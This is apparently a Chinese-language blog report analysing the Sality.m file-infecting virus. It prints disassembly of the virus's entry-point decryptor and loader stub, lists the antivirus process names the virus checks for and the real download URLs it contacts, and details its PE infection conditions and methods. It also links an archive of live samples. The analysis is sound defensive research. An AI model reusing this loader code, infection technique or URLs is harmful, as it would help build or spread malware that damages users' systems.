Sality.m分析
Sality.m分析
0x1、样本概述
FILE_A MD5:1C9A0E01C6033801AFC5A12DE1CC5BDC
FILE_B MD5:4B6B70F4A199CF3EAC1554B08804BC4F
FILE_C MD5:91741578019D3613EEBD6C8F1862548E
样本FILE_A是捕获的病毒文件;FILE_B是一款网络连接状态查看工具Tcpview.exe;样本FILE_C是在虚拟机系统中运行文件FILE_A使其感染样本FILE_B所得。本报告全部结果都是通过分析样本FILE_C所得。
样本FILE_C[以下简称样本]运行后将释放动态库文件wcmlogon.dll到系统目录下;感染以下三个位置中所有的exe和scr扩展名的文件:注册表HKCU和HKLM下启动项文件、当前系统中所有磁盘文件以及共享目录中文件;读取配置文件中的数据,连接网络下载文件并执行。
样本所采用的主要技术有:浮点指令、多线程、HOOK
0x2、分析过程
被感染文件入口点代码被病毒修改,所以样本被加载到内存后直接执行病毒代码,入口点代码功能是解密后执行被感染文件尾部的加密病毒数据;被解密后的代码功能为释放文件中被压缩的动态库文件,并加载调用其唯一的导出函数。病毒动态库文件导出函数并没有实际功能,主要功能代码都在其入口函数当中,导出函数只是为初始化其入口函数的相关参数。动态库文件的入口函数主要功能有:感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断。
样本的执行流程图如下:
0x2.1、被感染文件入口
程序入口代码功能是完成对指定数据块的解密,然后跳转到解密数据块执行。
解密算法没有什么新意,但解密方式比较特别,是在对数据进行解密的过程中使用了八条浮点指令。完整的入口代码如下,同时下面的代码长度也是病毒修改的正常文件入口处代码的长度。
.text:00408367 pusha .text:00408368 call sub_4083BC //计算入口代码相对00401000的重定位偏移offset //设定解密长度len .text:0040836D nop .text:0040836E lea edi, [ebp+401000h] //计算入口点地址ep_offset //ep_offset = 00401000 + offset .text:00408374 push 13C99h .text:00408379 add edi, [esp] .text:0040837C mov esi, edi //计算解密地址 //de_off = ep_offset + 13C99 .text:0040837E push 40102Fh .text:00408383 push ebp //压入两个参数,用于计算循环起始地址 //0040102f和offset .text:00408384 finit .text:00408387 fild dword ptr [esp] .text:0040838A fild dword ptr [esp+4] .text:0040838E faddp st(1), st .text:00408390 fistp dword ptr [esp] .text:00408393 mov ebx, [esp] //计算循环起始地址为004083CB调用 //loop_off = 0040102F + offset .text:00408396 lodsw //读出密文数据 .text:00408398 push ecx .text:00408399 fild dword ptr [esp] .text:0040839C fimul dword ptr [ebp+401066h] //[ebp+401066] = [004083CD] = 000022DA = temp_key .text:004083A2 fistp dword ptr [esp] .text:004083A5 shl ecx, 1 .text:004083A7 sub [esp], ecx //计算解密密钥 //key = len * temp_key - len*2 .text:004083AA xor eax, [esp] //解密密文 //data = data ^ key .text:004083AD shr ecx, 1 //恢复ecx设定 .text:004083AF stosw //保存解密后数据 .text:004083B1 pop eax //恢复栈平衡 .text:004083B2 loop loc_4083CB //解密长度减1,开始循环解密,直到解密长度为0 //len = len - 1 .text:004083B4 mov cx, 4FFCh .text:004083B8 sub edi, ecx .text:004083BA jmp edi //解密结束,跳转到de_off - 4 开始执行。 .text:004083BC mov ebp, [esp] .text:004083BF sub ebp, 401006h .text:004083C5 mov ecx, 2800h .text:004083CA retn //计算代码重定位偏移 //设定解密长度 .text:004083CB jmp ebx //跳转开始循环 //jump loop_off .text:004083CD dd 22DAh //temp_key
0x2.2、解密后代码
解密后代码的主要功能有4个:恢复被修改的入口点代码,修改返回原始入口点的代码;动态获取相关api地址;释放被感染文件中保存的压缩格式的病毒动态库文件,加载文件并调用其唯一的导出函数;返回已经恢原始文件代码的入口点开始执行。
.wrdata:0041C004 pop eax .wrdata:0041C005 pop eax .wrdata:0041C006 mov ecx, 6Ah .wrdata:0041C00B mov eax, offset sub_401000 .wrdata:0041C010 add eax, ebp .wrdata:0041C012 pop ebx .wrdata:0041C013 add ebp, ebx .wrdata:0041C015 mov [ebp+401243h], eax //修改地址0041C243下的数据,将跳转地址修改为文件原始入口点地址 //使被感染文件能够正常执行。 .wrdata:0041C01B lea esi, unk_4014E2[ebp] .wrdata:0041C021 mov edi, eax .wrdata:0041C023 rep movsb //以上代码是从解密后的代码起始到功能1部分 //恢复修改的入口点代码,修改返回原始入口点的代码 =========================================================== .wrdata:0041C025 xor ebx, ebx .wrdata:0041C027 mov ebx, fs:30h .wrdata:0041C02D test ebx, ebx .wrdata:0041C02F js short loc_41C03F …………………… .wrdata:0041C03F mov ebx, [ebx+34h] .wrdata:0041C042 lea ebx, [ebx+7Ch] .wrdata:0041C045 mov ebx, [ebx+3Ch] //通过fs寄存器获取kernel32.dll的image_base地址 …………………… .wrdata:0041C062 mov ss:dword_40140B[ebp], ebx .wrdata:0041C068 lea eax, string_loadlibrary[ebp] .wrdata:0041C06E push eax .wrdata:0041C06F push ss:dword_40140B[ebp] .wrdata:0041C075 call fun_str_fun_addr .wrdata:0041C07A call fun_check_eax .wrdata:0041C07F mov dword ptr ss:addr_loadlibrary[ebp], eax .wrdata:0041C085 lea eax, string_GetProcAddress[ebp] .wrdata:0041C08B push eax .wrdata:0041C08C push ss:dword_40140B[ebp] .wrdata:0041C092 call fun_str_fun_addr .wrdata:0041C097 call fun_check_eax .wrdata:0041C09C mov ss:addr_GetProcAddress[ebp], eax .wrdata:0041C0A2 lea eax, string_kernel32[ebp] .wrdata:0041C0A8 push eax .wrdata:0041C0A9 call dword ptr ss:addr_loadlibrary[ebp] .wrdata:0041C0AF call fun_check_eax .wrdata:0041C0B4 mov ss:dword_40140B[ebp], eax .wrdata:0041C0BA lea edi, string_funnamelist[ebp] .wrdata:0041C0C0 mov edx, ss:dword_40140B[ebp] .wrdata:0041C0C6 call fun_loop_getfunaddr .wrdata:0041C0CB push 2 .wrdata:0041C0CD call dword ptr [ebp+401486h] //此处调用的函数为: kernel32.SetErrorMode .wrdata:0041C0D3 lea eax, (loc_401588+2)[ebp] //此处是获取动态库文件名字符串“LZ32” .wrdata:0041C0D9 push eax .wrdata:0041C0DA call dword ptr ss:addr_loadlibrary[ebp] .wrdata:0041C0E0 call fun_check_eax .wrdata:0041C0E5 mov ss:dword_40140B[ebp], eax .wrdata:0041C0EB lea edi, (loc_40149A+1)[ebp] //此处是获取要动态获取的函数名列表 .wrdata:0041C0F1 mov edx, ss:dword_40140B[ebp] .wrdata:0041C0F7 call fun_loop_getfunaddr //省略了部分非关键代码,以上代码功能2部分 //通过fs寄存器获取kernel基址,遍历其导出表,获取Loadlibrary函数和GetProcadress函数,然后动态加载kernel32和LZ32并获取病毒代码要使用的函数。 =========================================================== .wrdata:0041C0FC lea edi, unk_4014E2[ebp] .wrdata:0041C102 push 80h .wrdata:0041C107 push edi .wrdata:0041C108 call dword ptr [ebp+401475h] // addr_GetSystemDirectoryA .wrdata:0041C10E cmp byte ptr [ebp+eax+4014E1h], 5Ch .wrdata:0041C116 jnz short loc_41C119 .wrdata:0041C118 dec eax …………………… .wrdata:0041C137 push eax .wrdata:0041C138 push 2 .wrdata:0041C13A push 2 .wrdata:0041C13C push eax .wrdata:0041C13D inc eax .wrdata:0041C13E push eax .wrdata:0041C13F push 40000000h .wrdata:0041C144 push edi .wrdata:0041C145 call dword ptr [ebp+40143Fh] //ss:[0041C43F]=7C801A24 (kernel32.CreateFileA) .wrdata:0041C14B mov [ebp+40137Bh], eax .wrdata:0041C151 inc eax .wrdata:0041C152 jz short loc_41C16E .wrdata:0041C154 lea edi, (loc_401991+3)[ebp] .wrdata:0041C15A push ecx .wrdata:0041C15B push esp .wrdata:0041C15C push 466Ch .wrdata:0041C161 push edi .wrdata:0041C162 push dword ptr [ebp+40137Bh] .wrdata:0041C168 call dword ptr [ebp+40145Dh] // ss:[0041C45D]=7C810F9F (kernel32.WriteFile) …………………… .wrdata:0041C1FE lea eax, unk_4014E2[ebp] //string:C:\WINDOWS\system32\wcmlogon.dll .wrdata:0041C204 push eax .wrdata:0041C205 call dword ptr ss:addr_loadlibrary[ebp] .wrdata:0041C20B call fun_check_eax .wrdata:0041C210 mov ss:dword_40140B[ebp], eax .wrdata:0041C216 lea eax, unk_4014C3[ebp] // string:_RtlMoveExecute .wrdata:0041C21C push eax .wrdata:0041C21D push ss:dword_40140B[ebp] .wrdata:0041C223 call fun_str_fun_addr .wrdata:0041C228 call fun_check_eax .wrdata:0041C22D mov [ebp+4014A2h], eax .wrdata:0041C233 lea edi, sub_401000[ebp] .wrdata:0041C239 push edi .wrdata:0041C23A call dword ptr [ebp+4014A2h] //省略了部分非关键代码,以上代码功能3部分 //释放病毒体动态库文件,获取其唯一导出函数并调用执行。 =========================================================== .wrdata:0041C240 pop eax .wrdata:0041C241 popa .wrdata:0041C242 mov eax, offset loc_4011F0 //此处地址在恢复入口点代码之前会被修改为原始入口点地址 .wrdata:0041C247 jmp eax //以上代码是从解密后的代码起始到功能4部分 //恢复文件入口点的上下文环境,返回已经恢原始文件代码的入口点开始执行
0x3、病毒动态库文件
动态库文件只有一个导出函数,函数名为:_RtlMoveExecute,功能为拷贝数据到共享内存块,共享内存块将做为动态库入口代码的相关参数使用。动态库文件的主要功能都是在其入口函数中实现的,包括感染文件,下载文件执行,挂钩windows消息,病毒进程执行条件判断等。
0x3.1、导出函数_RtlMoveExecute
导出函数有一个参数,是本地数据的地址。函数功能将本地数据拷贝到入口函数申请的内存空间中,供入口点函数调用修改使用。
所调用函数共有2个参数,第一个参数是本地数据地址,第二个参数是数据拷贝方向,0和1表示从内存拷贝至本地;2表示从本地拷贝至内存。其中还有2个隐含参数,一个是拷贝数据的长度:0x5000;另一个是内存空间的地址。
.text:10001EC0 push ebp .text:10001EC1 mov ebp, esp .text:10001EC3 cmp dword ptr [ebp+8], 0 .text:10001EC7 jz short loc_10001ED7 .text:10001EC9 push 2 //压入参数,表示是将本地数据拷贝到共享内存空间中 .text:10001ECB mov eax, [ebp+8] .text:10001ECE push eax //内存空间句柄 .text:10001ECF call sub_10001DE0 //调用数据拷贝函数 .text:10001ED4 add esp, 8 .text:10001ED7 pop ebp .text:10001ED8 retn
0x3.2、入口函数
入口点函数主要功能有:申请内存空间,挂钩windows消息,创建3个功能线程。
申请内存空间是为了在几个线程之间进行通信,对申请的内存空间的数据修改和初始化都是通过函数sub_10001DE0实现的,已经在动态库的导出函数中作了介绍。
挂钩windows消息,其挂钩的消息类型为:WH_GETMESSAGE,用以截获从消息队列送出的消息,回调函数和动态库入口函数相同。
创建的线程分别为:感染线程、下载线程和进程管理线程
0x4、线程说明
由于各个线程代码较长,不再报告中粘贴,只做功能介绍,具体内容请参照附件中的idb文件。
0x4.1、进程管理线程:
函数地址:sub_10001350
功能:遍历进程,如果进程路径包含指定字符串,将退出病毒进程。具体字符串列表如下:
NAV、AVP、KAV、DRWEB、OUTPOST、ZONEALARM、NOD32、ANTI、NMAIN、MCUPDATE、MGUI、NPROTECT、NUPGRADE、RTVSCAN、SAVSCAN、AUTOTRACE、AVSYNMGR、ATGUARD、AVGSERV、AVPROTECT、BIDEF、BIDSERVER、BIPCP、BLACKICE、CLEANER、DRWATSON、DRWTSN32、LOCKDOWN、MCAGENT、NPFMESSENGER、PERISCOPE、PINGSCAN、PORTDETECTIVE、PROTECTX、TRJSCAN、VSMAIN、AVLTMAIN、ESCANH、ICSSUPPNT、ICSUPP、AVXQUAR
0x4.2、下载线程:
函数地址:sub_ 100037D0
功能:读取配置文件中的相关参数,下载样本到本地并执行。相关url地址如下,但地址并不完整,还会继续和随即字符串拼接,同时url中的“#”也会被替换。
http://www.bpfq02.com/mrow6/?id
http://#.egozda.com/?idf
http://#.kerrabez.com/?id
333.com/mrow7/?id
0x4.3、感染线程:
函数地址:sub_ 10003D00
功能:感染注册表启动项列表中映像路径为exe的映像文件;所有驱动器中的*.scr和*.exe文件;所有网络共享目录中的*.scr和*.exe文件。
感染条件:
1) 文件大小必须在0x1000~0x1400000之间的范围
2) dos头重的重定位地址必须为0x40
3) 文件pe格式合法,且文件为32为pe文件格式
4) 最后一个数据节内不存在调试信息
5) 倒数第二个数据节的文件大小和内存大小都为0,或都不为0
6) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度
感染方式:
1) 如果最后一个节名称是UPX、TEXT、CODE三个中的任意一个将增加最后一个数据节的节大小。
2) 如果最后一个节名称不是UPX、TEXT、CODE三个中的任意一个,且节表末尾零数据大小长度大于节表结构长度,则增加一个数据节。节名称为节名称为文件名尾字母+第二个节名称构成,字母全小写
3) 修改入口处代码长度为0x6a的数据
4) 生成随即key,加密原始入口点代码和病毒功能代码。将其写入到最后一个数据节中扩充的节空间或新增的尾节中。
0x5、附件说明
附件中文件介绍如下:
1c9a0e01c6033801afc5a12de1cc5bdc
得到的被感染文件样本
Tcpview.exe1
Tcpview.idb
被上面的样本感染的病毒文件和对应的idb文件
ana.txt
Tcpview.exe1被感染后入口代码的解密函数分析
Tcpview_decode.exe1
Tcpview_decode.idb
Tcpview.exe1文件经过解密后,跳转到解密代码后dump的结果,以及ida分析的相关idb文件
wcmlogon.dll
wcmlogon.idb
解密后代码将释放一个动态库文件,然后调用其唯一的导出函数开始执行.
name_list.txt
动态库文件运行后将检测的文件名是否包含执行字符串列表
system.ini
动态库文件运行时,将向系统配置文件中写入数据,写入数据为文件的最后一行
附件下载地址:https://files.cnblogs.com/files/Mikhail/sality_m.zip